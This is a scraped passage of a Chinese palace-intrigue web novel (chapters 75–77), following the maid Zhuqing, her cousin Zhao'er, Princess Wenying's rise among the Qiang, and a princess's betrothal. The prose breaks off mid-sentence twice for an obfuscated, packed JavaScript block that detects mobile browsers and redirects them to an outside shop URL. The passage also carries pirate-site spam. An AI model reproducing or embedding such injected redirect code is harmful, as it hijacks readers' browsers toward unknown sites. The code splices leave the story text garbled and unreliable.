只出了正殿的门之后太子殿下身边的小太监与竹清耳语“太子殿下近日用功常常看书到半夜还请姑娘与皇后娘娘说一说这般熬着身子会垮的。我们这些奴才管不得太子殿下也只有皇后娘娘能说上两句让太子殿下听进去。” 他们可都担心太子殿下坏了身子这长年累月地熬夜可怎麽了得?小厨房再如何滋补也补不回来。 “我知道了你们也劝着点说不定哪日太子殿下就听进去了。”竹清说。小太监“欸”了一声把手中的油纸伞递给小宫女。 小宫女接过伞遮盖住了风雪“竹清姐姐小心雨水。” 冬日的雨雪其实不大只是细丝一般缠人竹清抱着手炉 “竹清姐姐我们不嫌累跟着姐姐到处走走静一静心也是好的。”有机灵的小太监一口一个姐姐嘴 甜得跟蜜饯一样。 这是讨好竹清呢可惜竹清摇摇头御语气不容置喙“回去罢要是皇后娘娘吩咐事儿难不成还要找不到你们人?” 她如此说这几个宫女太监才不敢多说往另外一个方向去了。 “哟我瞧瞧这是谁?”在教坊司门口竹清正巧撞见了雯棉姑姑她看了看竹清手里的食篮子说道:“霜玉姑姑有福了干女儿这般惦记着。只是不知道我今日有没有口福?” 竹清挽了她的胳膊哄着她道:“哪儿敢忘了雯棉姑姑的?都是有份儿的。”小厨房做的多皇后娘娘吩咐人给各家送去彰显皇室重视。 饶是送了许多出去小厨房还有很多剩的所以竹清得的腊八粥也就多她带来教坊司一是给霜玉姑姑做脸二是让教坊司其他姑姑也吃上拉一份关系。 竹清与雯棉姑姑在房中等了好长时间霜玉姑姑才正打外头回来她浑身有些湿竹清就忙活起来替她擦拭。 “我以为你今日要去宫外送腊八粥呢没成想有空来我这儿了。”霜玉姑姑换了一件儿外裳又看向桌上的粥说道:“我正好饿了用个两碗。” “快来快来都等着你。”雯棉姑姑替三人舀了粥她们就不说话小口小口吃了起来。 窗开了一条缝吹了一些冷风进来只屋内有炭火三人一点儿也不觉冷。逐渐呼呼作响的大风与偶然发出噼啪声的炭火带着一股宁静安然的气氛让吃粥的人有了一股睡意。 “皇后娘娘看重你怎的没有教你去宫外送粥领几份赏钱?”霜玉姑姑再次问了这个问题她以为竹清做错了事暂且不得皇后娘娘的宠了。 “哎呦干娘咱们吃菜也得让旁人喝汤罢?总不能次次都是我去何况这天一时一个样您看看现在又起大风了可遭罪。”竹清难得孩子气地撇嘴说道:“您一点儿也不心疼我。” 皇后本是想让她去的她推拒了并且点了好些个本分的去送粥、领赏钱。 “我哪儿不心疼你了?当我没说过。”霜玉姑姑搂住了竹清倒是一时让竹清呆了霜玉姑姑从未这般感情外露过。 “诶诶诶我倒是成了一个多余的人了 即就朝着亲亲热热的母女俩哼笑说道:“早知这般我今日就不来了。” “你别闹。”霜玉姑姑扶额“愈发讨嘴卖痴走出去也不怕小宫女们笑话你。” “谁敢?”雯棉姑姑挑眉“罢了罢了不与你们说笑了我多喝两碗粥御膳房做的八宝粥甜腻喉头都要粘在一起我只吃了两口就没有吃了。” 待竹清带来的八宝粥喝得差不多了霜玉姑姑就问雯棉姑姑“如何?之前让你查的事情怎麽样了?” “什么事?”竹清问。 雯棉姑姑正擦嘴闻言回了一句“关乎你的事。”她见竹清疑惑就解释起来“教坊司不是有一个叫招儿的新进宫女?之前霜玉与我说那招儿似乎是认识你这样的事总得调查清楚。她要教导新宫女没有空查便托了我去。” 竹清动作停顿认识她?不会是亲人之类的罢? “怎样?”霜玉姑姑问连竹清也上了心。 “是这样的那个招儿是西宁县渔家村的她父母同一个姓赵。她父亲叫赵二宝游手好闲的混混一个她母亲泼辣大嗓门。她有几个堂姐姐是她大伯赵大宝生的……”雯棉姑姑慢慢说着竹清听得入神了。 她母亲就姓赵这一大家子正好是她的外家 但凡他们来帮帮她她也不至于要卖身葬母。 竹清与她们说了这些详细的事情惹得霜玉姑姑与雯棉姑姑变了脸色尤其是雯棉姑姑说话更是偏向竹清“既如此都是一家子狼心狗肺的那招儿也未必是个好的。且见了你就嚷嚷你像她堂姐未必不会攀附上你你这些天要小心。” 一个小娘子叫甚麽名字不好?哪怕叫枝儿花儿也比招儿好。可见在家里就是不受宠的招儿从小在那样的家庭长大耳濡目染也不会是好笋。 霜玉姑姑连连点头赞同雯棉姑姑的话她担忧地拧眉“是了新宫女刚刚进宫不能再退回去不过我会盯紧她的要是她敢多说些甚待她出了教坊司看她能折腾到哪儿去。” 竹清心暖暖的她应道:“好干娘还有雯棉姑姑也别太担心一个小宫女翻不出大风浪的。” 说句嚣张的话,她如今是椒房殿的掌事宫女,霜玉姑姑又是管教那招儿的管事嬷嬷,招儿能做甚? “我也帮你看着,你事情多,可能疏忽了也说不定的。”雯棉姑姑说,她有些疑惑,“不过,你这样能干,但是她却甚麽都不会,真是稀奇。” 竹清垂眸,“医术是我父亲教的,她自然不会,至于调香,也是与我母亲交好的手帕交私底下教我的,她父母是那样的人,我母亲定不会傻傻的提携她们。” 这番话倒是找不出错儿来,当初她也是这样糊弄王妃的,现在用来搪塞雯棉姑姑,自然也没问题。 果然,雯棉姑姑没有说其他,“也是,像那样心肠臭烂的臭东西,你母亲不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498260|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲儿贴补他们,不必想,肯定是一个明事理的好女子。” 竹清不想谈论这个话题,便说道:“也亏得只是一个招儿,若我父亲那头的人也来了,只怕雯棉姑姑就要累坏了。” “唉,累倒是不怕,最怕他们连累你。”雯棉姑姑说,到底是血肉亲人。 …… “招儿,你魂不守舍的干甚麽,还不快去把这盆水倒了,左右仔细我与你一顿好嘴巴。”教坊司里站队霜玉姑姑的大宫女说,她看坐在廊道不知道张望些甚麽的招儿,再次喊了一声,“你可听见了?” 招儿眼睛大大的,此刻滴溜溜的转着,一下一下地往霜玉姑姑暂歇的隔间打量着,明显有些心不在焉,听了大宫女的话,也不在意,胡乱点头应衬着,“知道了知道了。” 大宫女也不怕她不作,只暗自记下招儿这副模样,待有空寻霜玉姑姑一一说明白。 “招儿,你作何这副样子?你知不知道,得罪了荷裳姐姐,日后在教坊司很难过活的。”有与招儿说得上两句的人劝她,“你待会去与荷裳姐姐低声软语几句,教她不要计较。你学规矩又不尽心,不怪荷裳姐姐敲打你。” “不要。”招儿脆生生地说道,她往后可是要有好前程的! 那竹清与她一个堂姐长得八分相似,说不得就是她的表姐,她有个这样出息的表姐,怕甚麽? “随你罢。”那人摇摇头,招儿学规矩敷衍了事,也不知怎的,明明刚进宫的时候还认认真真,一点不敢随意。 怎的几日就变成这个样子? 三人聊 了好一通,这才各自散了。霜玉姑姑送她们两个出去,竹清刚出来的时候,正好看见一个小宫女被拉走。 “那个就是招儿,我吩咐过荷裳,让她盯着她的。瞧,方才要不是荷裳让人把她带走,只怕她都能冲进来拉扯你。”霜玉姑姑冷笑,她在教坊司多少年了?一见这情形,不消别人说,就能知道招儿做了甚。 “你不必管,安心做你的差事。”霜玉姑姑说,竹清点点头,也不去管。 * 今年冬日不好过,气温比去年还要低,鹅毛大雪一直不断,皇后捧着手炉子,在正殿接见了前来请安的妃嫔们。 “天愈发冷了,这几日就不必来请安,都窝在宫里猫冬就好,免得在外行走,感染了风寒,倒是难治。”皇后说,她也没有折腾这些后妃的心。 “皇后娘娘体恤,臣妾等不胜欢喜。”所有的妃嫔皆起身行礼,声音整齐划一。 “都坐罢,上茶。” 舒妃是皇后之下的第一人,她先开口说话,“听说太医院开了一叠子风寒咳嗽的单子,诸位姐妹都要保重身子才是。皇后娘娘为后宫操劳,也当保重凤体。” 有了舒妃开头,柳妃也不甘落后,勾着笑脸说道:“臣妾宫里就有几个宫女病了,咳的厉害,臣妾想请皇后娘娘口谕,把她们挪出去,免得传染给妃嫔。” “可以。”皇后点头,宫女自然比不得妃嫔重要,只是也不能白白让她们让出位置,“一个宫里少了三五个伺候的人并不打紧,且让嬷嬷安排好,待她们病好了,再回来伺候。” 她也不是傻子,走几个,再让柳妃自个挑选宫女? “臣妾替她们多谢皇后娘娘恩德。”柳妃说罢,就不再言语。 崔贵嫔一改往日的温和平静,在柳妃话音刚落,她就迫不及待地问皇后,“娘娘,臣妾今日一早听闻四皇子昨晚发高热,太医虽然开了药,却不大管用。皇后娘娘,臣妾能不能去瞧瞧四皇子?” 四皇子还小,太医开药也不敢下太重的份量,只能摸索着来,所以效果就差了一点点。 “本宫许你去,只是半个时辰就够了,别呆太久。”皇后提醒,后妃不得过多插手皇子们的生活,这是惯例。 饶是短短的半个时辰,也足够让崔贵嫔感激,“是,臣妾定当谨记皇 后娘娘的话。” 皇后看向肚子高高隆起的温冬,问道:“禧嫔,你害喜可厉害?都叫你不必来请安了,快要临盆,可千万不能大意。” “劳皇后娘娘记挂。”禧嫔在宫女的掺扶下朝皇后行礼,坐下后又立即说道:“娘娘仁心,只是臣妾不能仗着您的宠爱日渐生娇。能日日见皇后娘娘,是臣妾的福气。” 皇后笑着摇了摇头,指了指她,朝其他人说道:“看看多滑头,本宫只说一句,她就能嘴快伶俐地说出几句。” 这话饱含亲近的意味,其他妃嫔自不会说禧嫔的不是,皇后又说道:“本宫不缺你一个伺候,你只管养好身子,日后母子平安,替陛下生一个白白胖胖的皇子,这才是你的福气。” 很现实,如果禧嫔生了一个公主,她虽然也能晋位成为贵嫔,但是公主终究要嫁出去,也不能给她撑腰。 若是一个皇子,那就不同了。 禧嫔显然也知道利害关系,郑重地点头,“是,臣妾定然小心。”她知道这个孩子能平安到现在,是受了皇后娘娘的保护,所以她肯定会听皇后的话。 “这就好。”皇后说,她看见进来的竹清脸色凝重,便打发妃嫔们离开,“时候也不早了,你们都回去罢,宫里若是有甚麽缺的少的,打发人与本宫说。” “臣妾告退。”妃嫔们由舒妃带头出去了。 “怎的了?”皇后问。 “娘娘,不好了,科查尔发生了动乱,三部的首领把羌王给杀了,现下科查尔乱成一团。”竹清三言两语说明白。 羌族分成几十个部落,实力最强的是以游牧为生的一部二部,弱一点的部落则是靠海为生,科查尔是羌族的一个地方,正是一部冬季扎根的地方。 文英公主嫁的,恰是那羌族的王。 作者有话要说 第 76 章 她成了一头真正的鹰 第76章她成了一头真正的鹰 “怎会这样?那文英公主呢?”皇后面露惊诧与担忧,文英公主才嫁过去不到一年,竟然就发生这样的事,那她怎麽办? “据说文英公主联合一部二部以及其他一些小部落的首领勉强压制住了三部带领的人,如今正在焦灼,结果尚不明朗。不过陛下已经下令,出兵协助。”竹清说,至于是不是协助,目的尤未可知。 但是有一事可以确定,文英公主的处境不容乐观,她一个嫁过去的王后,本身就艰难,谁会服她? “多事之秋,对了,一部二部怎麽会听文英公主的话?”皇后不解,羌族的传统是父死子继,兄死弟继。像已经死去的王,他还没有子嗣,就是由弟弟继承王位,连同王后,都一并被继承。 按理说,他们不应该听文英公主的。 “是文英公主有了身孕,而且大祭司说她肚里的是个男孩。这还不止,羌王底下的四个弟弟,也全部被暗杀,中毒的中毒,割喉的割喉,没了可以主持大局的储王,所以他们都暂时认可了文英公主。”竹清也觉得这个机会来得刚刚好,羌王死了,四个储王又没了。 这下子文英公主与肚子里的孩子就变得重要起来,羌族一时半会也不能对她怎麽样。 “这麽巧?”皇后皱眉说道,在这内里是否有一些她们不得而知的内幕。只是不管如何,她都希望文英公主过得好好的,嫁出去的公主很难迎回来。 此时遥远的科查尔动乱尚且没有平息,文英公主在青黛的掺扶下坐下,另一个贴身侍女端来安胎药,“公主喝了罢,凝神静气固本培元的。” “好。”文英公主也不需要她们伺候,直接端起碗一饮而尽。她的手还在微微颤抖,似乎在害怕甚麽。 “拿下去罢,你们都出去,我静一静。”文英公主吩咐,两个侍女对视一眼,但是并没有劝说,而是听从文英公主的话,出去在门口守着了。 科查尔很冷,但还不至于让文英公主冷得手发抖,她是在恐惧,后知后觉的恐惧。 羌王死了是她有所预料的,剩下的三个王储也一一被羌族的人暗害。在他们死了不久,她出于本能,把剩下的一个的储王也解决掉了。 毫 不留情。 头一回她亲眼见着一个人在她面前痛苦地死去。那是最小的储王也是一直以来对她出言不逊想让她陪他的恶心下贱之人。 “没关系的不是他们死就是我亡。”文英公主以极其微小的声音喃喃自语在这顶看不见明亮烛光的帐篷里她完成了一次蜕变眼神逐渐锐利染上了血腥以及对权力的渴望。 她变了。 就像从牢笼中挣脱出来的家鹰爪子第一次染上鲜血慢慢恢复她应有的能力。 在科查尔这片广袤无垠的大草原上她成了真正意义上的鹰。 * 皇帝封笔之后就有更多的时间去教导太子只是教导着他就发现面对太子他有些无力。 “今日的考教就到此结束你先回去罢朕还有别的事。”皇帝说。太子站在下边低着头看不见神色只声音恭恭敬敬地说道:“是儿臣告退。” 皇帝在宫里瞎逛心里莫名有一股火气散不去待看见了皇子们住的宫殿之后他这才吩咐御撵停下径直走了进去。 大一点的皇子例如舒妃的二皇子崔贵嫔的四皇子就在温书。而像小一点的皇子尚未懂事的五皇子就在打雪仗堆雪人。 “儿臣参见父皇。”五皇子跪下其他在殿中的皇子们也急急忙忙出来一溜儿地跪伏。 “都起来罢。”皇帝抬手又询问了他们的功课在他们当中五皇子懵懵懂懂却着实让皇帝好生喜爱。 这才像个孩子。 “想不想吃勤政殿的菜?”皇帝问五皇子一听有好吃的五皇子眼睛瞬间亮了“父皇儿臣想吃!” “走。”皇帝牵了五皇子的手又抱着他上了御撵 在椒房殿内的皇后听闻了此事翘起的嘴角微微拉平却依旧打发人去给皇帝送汤汤水水这是惯了的。 “琮哥儿才从勤政殿出来他后脚就去了书原宫还把五皇子带回勤政殿教旁人怎麽看琮哥儿?”皇后厌烦皇帝明明她的琮哥儿聪慧合该好好教导。 竹清没说话仍由皇后发牢骚所幸皇后也不会大动干戈一次两次抬举而已琮哥儿可是告祭过祖宗的储君不可能随随便便就废了。 宫中到处都挂上了红艳艳的宫灯,有些走马灯还镶嵌了玉石,看着就精致富贵。椒房殿内挂的不纯粹是红色的灯笼,还有一些颜色搭配清新的小灯笼。 竹清正指挥小太监把一个被风吹坏的灯笼拿下来,再换上新的,身后击掌声响起,她转身跪地,说道:“奴婢参见陛下。” 皇帝大步流星地越过所有宫人,进了椒房殿,很快,里头也隐隐约约响起皇后问安的话语。 “快点挂好,菊儿,你看着点,还有那边两个也要拿下来。”竹清低声吩咐完,就起身去小厨房安排糕点。 “竹清姑娘。”曾妈妈迎上前,老脸笑得可欢乐,她问竹清,“可是有甚麽需要?姑娘只打发人来问就是了,何必自个过来一趟,小心风雪伤身子。” 廊道会被斜斜的风雪扫到,走在上边的人也不能幸免,通常走几步就会湿衣裳,故而冬日里,管事的嬷嬷姑姑们都不爱动弹,有事也只是教下边的人去做。 但是曾妈妈不是这样的人,竹清也不是。 “陛下在正殿,伺候的人都出来了。”竹清说,像这样的情况,她自然不可能进去,便来小厨房忙活一下。 “欸。”曾妈妈懂了,又听竹清说道:“陛下今个在椒房殿用膳,我说的菜式你可都要记住了。肉菜要槽鸭片,福鼎鸡肉片,鹌鹑烩火腿,白炸小鸡子,清炙鹿肉,烤炙羊羔子……” 肉菜十个,素菜三个,糕点瓜果五碟子,林林总总加起来,也就够了。 “我都记住了。”曾妈妈说罢,又吩咐小厨房的厨娘端来一碗羹汤,“这是昨个的老文火鸡熬的羹汤,竹清姑娘快些尝尝好不好喝。” 一般小厨房里当天剩下的菜与羹汤,厨娘们会在第二日废物利用,吃进肚子里。皇后也知道,不过睁一只眼闭一只眼,也当作隐形的福利了。 “好喝。”竹清慢慢喝着,小厨房里本就暖和,加上温热的汤羹下肚,她瞬间就发热,出了汗。 别看隔夜,但是现在天气冷,这鸡汤汤底跟现熬的也没有区别了。 待喝罢,就有一个小宫女来寻竹清,“竹清姐姐,菊儿姐姐让你快些去门口候着呢,只怕娘娘要唤你进去了。” “我这就去。”竹清回了正殿,菊儿早已在这儿了,见了她,还笑了 笑。 “竹清。不多时,皇后唤人。 待吃过晚膳,皇帝并没有留宿椒房殿,而是回了勤政殿,竹清见御驾走了,才有机会问皇后娘娘方才与陛下聊了甚。 “是关于敏姐儿的。皇后微微叹息,又说起皇帝给明文长公主挑了夫婿,只是皇后认识那个哥儿,除了相貌能看之外,学识不大行,其他方面马马虎虎。 竹清疑惑,“怎的挑了他? “本宫之前给敏姐儿挑的,竟是一个也不成了。皇后想到皇帝的态度,就知道这事已经不可更改,她说,“陛下说的一句话在理,驸马麽,学识不出众没关系,有一张好脸一身好气度,能服侍好公主就可以了。 这就是天家,皇帝以上位者的角度来看所有哥儿,太过傲气的不行,只怕结成怨侣;没好脸皮的也不成,影响公主孩子的相貌;学识出众能入朝为官的也排除…… 这般挑拣下来,才选到了安国公府的嫡幼子。 于身份地位,够了,于样貌品相,也足。 “罢了,陛下说的在理,现下边关动乱,本宫怕敏姐儿像文英公主一般去和亲,遭罪。安国公府嫡幼子也不差,与他成亲,至少敏姐儿能留在京都,本宫也能时常看见。皇后这般说,又嘱咐道:“你明儿让敏姐儿到本宫这来一趟,本宫与她露个口风。 明文长公主现在住在自己的宫殿,日日插花绣帕子,尚且在孝期,也不敢设宴请贵小姐们去顽。同时,她也知道皇后忙碌,便少去打扰。 “欸,奴婢待会儿就去。竹清说。 * 除夕夜下了一场好大的雪,鹅毛大雪纷飞,使得皇宫只剩下了一两种颜色,宫墙的暗红、随处可见的灯笼的鲜红,除此之外,竟就是打扮出众夺目的后妃们最鲜艳了。 诸位妃子穿戴俱都讲究贵气,由着皇后带头向陛下敬酒,随后舒妃、柳妃……这般下来,每个妃子都喝了一杯,脸颊两边已然红丝蔓延。 倒比雪景还要惹人注目。 翻过了年,似乎一切晦气都消失不见,小型的宴席逐渐多起来,连带着喜气,也逐渐出现在众人脸上——不再是一脸丧气。 一盆盆血水从侧殿捧出来,皇后问稳婆,“禧嫔身子如何?胎位正不正?有没有力气? “启禀皇后娘娘禧嫔身子骨好胎位也正因着方才没有泄多少力气故而现下血色很好。”稳婆回答。 除了皇后其他妃嫔也来了。 舒妃说了吉祥话“禧嫔一看就是有福气的定会平安诞下皇子皇后娘娘莫急稳婆都说好着呢。” 话是这样说只是女子生产没个定数。 头一胎生的慢过了一个时辰依旧不见好消息皇后吩咐妃嫔们先回去不必在这里候着。 舒妃却摇了摇头“娘娘都劳动凤体等着小皇子臣妾又有何金贵的?”她的话一出其他人也纷纷附和。 又过了一个半时辰侧殿若有若无传出哀叫声又过了半个时辰厚重的门帘被拉开一个宫女打伞遮住稳婆一个使了羊毛被虚虚盖在婴儿头上稳婆则是小心翼翼抱着怀里的婴儿。 “启禀皇后娘娘禧嫔生下了一个小皇子现下禧嫔睡过去了。”稳婆把八皇子抱到皇后跟前皇后接过仔细瞧了瞧“瞧瞧这胎发生得多浓密像极了禧嫔日后都有一头黑发。” 女子好颜色除了说脸就是看头发有些娘子生得美但是一头秀发枯黄外形就大打折扣。 “可教人去回禀了陛下?这是个好消息陛下定高兴。”皇后说竹清立马回她“启禀皇后娘娘方才奴婢已经派人去了还有小太监来报说圣旨已经往储秀宫来了。” 不必多想肯定是册封禧嫔为贵嫔的圣旨。 “嗯。”皇后低头逗弄着八皇子见他实在可爱就亲自替他带上了一条红绳子寓意锁住魂魄日后都健健康康。 “奴婢替禧贵嫔还有八皇子多谢皇后娘娘。”禧贵嫔不在此处她的贴身宫女便开口替她谢恩。 这也是一种脸面。 “好了就留在这儿罢别抱来抱去的仔细感染了风寒小孩子可经不得这般折腾。”皇后说就像崔贵嫔的四皇子 “再有储秀宫上下伺候的宫女太监各赏三个月月例稳婆以及禧贵嫔的贴身宫女各赏半年月例。”她说罢又叮嘱禧贵嫔坐稳月子再搬进正殿不着急的。 当初她分配宫殿就想好了禧嫔住在东侧殿西侧殿先不住人 等她生下孩子,名正言顺搬进正殿,然后等新秀女进宫,再往她的储秀宫安排人。 “奴婢多谢皇后娘娘。一众伺候的人皆面露喜色,主位娘娘有了倚仗,她们又得了赏赐,这是再好不过了。 “都回去,别扰了禧贵嫔。皇后带头往外走。 八皇子在储秀宫养到两岁,待两岁后,就得搬去书原宫,与其他皇子住一起了。 新年一过,日子就过得极快。 椒房殿内的花圃由花匠精心照顾,在寒冬料峭之时开出了花骨朵,只是因着没有地暖,尚且不知花骨朵有多少能绽放。 却说因着新的一年,宫中的姑姑嬷嬷们也跟着欢喜,在住处里头顽叶子戏,时不时地喝着两口温酒,好不快活。 只被指使做活计的宫女们就不大高兴了,她们无处宣泄,便只能在屋里做些刺绣,把银针狠狠戳在布料上,活像戳在压榨她们的嬷嬷身上。 “老是欺负咱们,皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498261|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后娘娘都下令所有的宫女另得一套冬装以作赏赐,偏偏绣园嬷嬷私底下昧了布料,给咱们的薄了不少…… “你可小点声,霜玉姑姑不是替咱们出头去了麽?左右这几日就能解决,待会儿发牢骚被姑姑们听见了,会罚咱们的。 “我说的是实话,绣园的嬷嬷就是坏心。话是这样说,到底消了声音,她看向坐在一旁不知道发甚麽呆的招儿,问道:“你这是怎的了?一天天的不在神儿。 “你们说,竹清姐姐怎的这些天都不来教坊司了?招儿脖子使劲儿往前伸,就想着能看见某个身影。 “你在想甚麽呢?竹清姐姐忙,来见霜玉姑姑也是少数的,可能一个月都不来几回。你想巴结竹清姐姐?甭想了,其他人也想的,都没有哪个能得竹清姐姐青眼。 是麽?招儿很想去找竹清,可是宫规在这里,她不可能瞎跑去椒房殿。 只能叹气,想着下回竹清来,她再去认亲。 * 科查尔动乱逐渐平息,仗着有大文朝的援兵以及肚子里的孩子,文英公主暂时掌握住了一部二部,只是底下的人不大服她,也想着选一位新王出来,一时之间,暗流涌动。 三年国丧期还没过,像狩猎、踏春这样的喜庆事,也都不办了。只在宫里烧香拜佛,就过了。 今年六月初九是竹清的生辰,即将25岁了,也是她自梳的日子。竹清很重视那一天,即便隔着三四个月,也依旧早早准备起来。 有过自梳宴经历的霜玉姑姑与她说道:“花点银子去请绣园的绣娘们替你做一身新衣裳,可别自己做,绣娘们心灵手巧,做出来的衣裳体面。她说着,就去翻衣柜,终于从衣柜里找出一件保养妥当的衣裳,针脚紧密、图案栩栩如生。 “瞧,这就是我当年自梳前,使银子让绣娘做的,她们私底下得空,会接私活。只要银子够,你想要甚麽样的都可以。霜玉姑姑看着手里的衣裳,眼神逐渐放空,想到了从前年青时的日子。 得意,且鲜活。 “我帮你张罗,这样的大日子,是该把认识的人都请到一起聚一聚,替你高兴高兴。就在我住的那里,摆个两桌完全不是问题……霜玉姑姑絮絮叨叨,周身环绕着一种慈祥和蔼的气息,倒是与从前竹清第一回见她时有着天壤之别。 “你住在椒房殿,虽然说是一个人住,但是他们来庆贺的人来来往往,总不能扰了皇后娘娘的清净,你就在帖子上边写我这里的地儿,菜式你想要哪些?我在御膳房有熟人,能替我们做两桌,有的菜他能帮我们找,有的则是自己准备。 大部分时候是霜玉姑姑在说,竹清时不时插几句,也就把自梳宴计划得差不多了。 “行了,你回去罢,等会儿皇后娘娘找你。霜玉姑姑说,虽然过了年节,但是宫里宫外,都还有不少的事宜。 不说远的,就说近日。明儿竹清就要陪明文长公主去宫外,明面上是去广佛寺踏春,实际上是去相看的。 那安国公府的夫人前几日带着嫡幼子入宫见了皇后娘娘,两人商定让两个小辈见一见,去顽一顽。 竹清回到椒房殿时,皇后正拉着明文长公主在说话,“本宫不便出去,便让竹清代我,还有你的奶嬷嬷,也是个精明的,有她们两个看着,本宫很放心。 “皇后娘娘信任,老奴就是豁出一条性命,也不会让明文长公主吃亏的。 小说更新,记住域名caixs.com▄(请来才 小说 看最新章节 完整章节)明文长公主的奶嬷嬷连连说,听语气,很是欢喜皇后的看重。 “奴婢参见皇后娘娘,明文长公主。竹清见礼,站到皇后身后,听着她与明文长公主说话。 “事情还没 有成,只是看一看,你也不必讨好安国公府的夫人,只客客气气与她讲两句就行,倒是那哥儿,你得注意他是不是油嘴滑舌,以前是不是经常说这些话,千万别被他哄骗了去。 “再有就是,那日是好日子,去踏春的夫人不少,你遇见了旁人,落落大方即可,哪怕旁边站着安国公府的夫人还有她的儿子,你也不必害羞,很正常的相看。 苦口婆心说完这些,皇后喝了几口茶水,又说道:“没有意外,你的夫婿就是他了,一眨眼,敏姐儿你都要嫁人了。 小说的域名caixs?(请来才 小说 看最新章节 完整章节)她遥遥记得,敏姐儿被带到正院由她养着的时候,还小小一个,面团似的人,睁着两只大眼睛。 “母后。明文长公主缱绻地唤了一声,她其实依稀记得生母,但是这么多年了,她的面容早已被皇后所替代。 “这几日,几位皇妹都想凑一起顽,儿臣还不确定要不要应。明文长公主犹豫,她与几位皇妹其实不算熟悉。 “应罢,她们哪怕有事情求你,也得看你脸色,不必担心惹麻烦。皇后说,随后明文长公主点头,就是肯了。 * 广佛寺在郊外的一座高山上,桃花始盛开,来踏春的香客络绎不绝,倒构筑了一幅别样的景色图。 明文长公主到的时候,安国公府的夫人以及嫡幼子荀哥儿都已经在十里亭候着了。 “夫人与公子有礼。明文长公主微微低头,并不直视荀哥儿。 倒是竹清没那个忌讳,站在后边看了好几眼,这荀哥儿长身玉立,面容姣好柔和,不带一丝棱角,并不女气,温和有礼。 这副模样,只一眼,就能迷了许多人去。 “公主赏脸,是我家荀哥儿的福气。安国公府夫人说,她倒也没有急着让荀哥儿表现,而是与明文长公主并肩,说着这广佛寺的美景之处。 “咱们先去烧香抽签,那广佛寺里头有一高僧,解签文最灵验。随后就是一路上去,上边有一寒潭,不远处就是桃花林了。安国公府夫人说罢,明文长公主就颔首,“夫人有心了,打探这些,实在是辛苦。 作者有话要说 第 77 章 太子禁足 第77章太子禁足 得了明文长公主这一句辛苦,安国公夫人笑容更加灿烂,她看明文长公主可是哪哪都好。荀哥儿是嫡幼子,也是她的心头宝,族里倾尽全力培养嫡长子,往下就是嫡次子,对于荀哥儿,安国公府没有安排,只教他做个闲散富贵人就好。 既然是富贵闲人,配公主正合适,有了地位,也能反哺安国公府。 “公主小心脚下。”安国公夫人提醒,从十里亭到广佛寺的石阶一共有三百多个,一步步走上去,一不小心就容易摔跤。 今儿是踏春的好日子,一路上安国公夫人遇见了不少相识的夫人。 到了广佛寺,明文长公主、安国公夫人以及荀哥儿都烧了香摇了签子,竹清则是上前投了香油钱。 那站立在一旁的小和尚说道:“多谢施主。” 安国公夫人摇了一支中签,荀哥儿则是一支上签,明文长公主最佳,摇到了上上签。 那解签的大师对明文长公主说道:“施主求姻缘,定能称心如意,与夫君相敬如宾。” 明文长公主脸颊飞红,眼角余光看了看远离这边的安国公夫人与荀哥儿,虽然知道他们听不见大师的话,但还是觉得羞涩。 “多谢大师。”明文长公主说。 随后她们又去了寒潭与桃花林,一眼望去,皆是纷纷扬扬的桃花,有的飘落到寒潭里,被里头的鱼儿咬了好几口,有的只管往人身上飘,停住不走了。 明文长公主与荀哥儿离了安国公夫人,独自在桃花林走着,多半是明文长公主问,荀哥儿答。 如此走了一遍,明文长公主对荀哥儿大抵了解了,再之后,她们一同吃了广佛寺的素斋。 “恭送明文长公主。”安国公夫人与荀哥儿行礼,目送明文长公主上了马车,随后,荀哥儿与安国公夫人也家去了。 马车上,安国公夫人看着闷闷不乐的荀哥儿,问道:“怎的了?你这副臭脸可别在明文长公主面前摆,不然看我饶不饶你。” “母亲,你真的舍得我尚公主吗?方才你是不知道,儿子与明文长公主,明明白白的君臣,往后成亲,儿子就得伺候明文长公主。”荀哥儿还没有及冠,想事情大多只凭心意,他也不是不喜 欢明文长公主,只是那样的身份,到底让他忧愁。 “到时候,儿子可就是嫁给公主了,您也不心疼心疼我……”荀哥儿一句话逗乐了安国公夫人,她搂着荀哥儿,说道:“我的儿,明文长公主是个好性子的,你日后别不敬她,好好相处着,日子不会差的。” “至于嫁不嫁的,哪是这样的话?” 荀哥儿活宝似的撅嘴,说道:“那咋不是,要是陛下下旨,在长公主府成婚,那不是明文长公主娶儿子?” 长公主府是人家的地盘。 荀哥儿摸了摸脸,又开始跑偏思绪,他这副脸面好看,可是再好看,也有老去的一天,待到那个时候,明文长公主会不会不喜欢他? 嗯,也有可能现在明文长公主就不喜欢他。荀哥儿胡思乱想着,倒是没有对尚公主很抵触。 到了宫里,皇后又亲自过问了这件事,得知一切都好,而且明文长公主求的签子是上上签,寓意不错,皇后就笑了笑,“本宫的心安了一大半。” 她让明文长公主回去歇息,又教竹清拿来单子,上边记录的都是给明文长公主积攒的嫁妆。 打小就开始攒的,甚麽花瓶儿,瓦盏,夜明珠,字画……该有的都有。 等到陛下下旨,殿中省也会忙碌起来,给明文长公主筹备嫁妆,还有各处的添妆,这样林林总总加起来,婚嫁自然隆重。 “皇后娘娘,不好了。”一个小太监急匆匆进来,说道:“太子在勤政殿惹了陛下不高兴,现下被陛下下旨禁足东宫。” “甚麽!”皇后倏然站起身,脸色巨变。 东宫,太子正在练字,似乎半分不受影响。 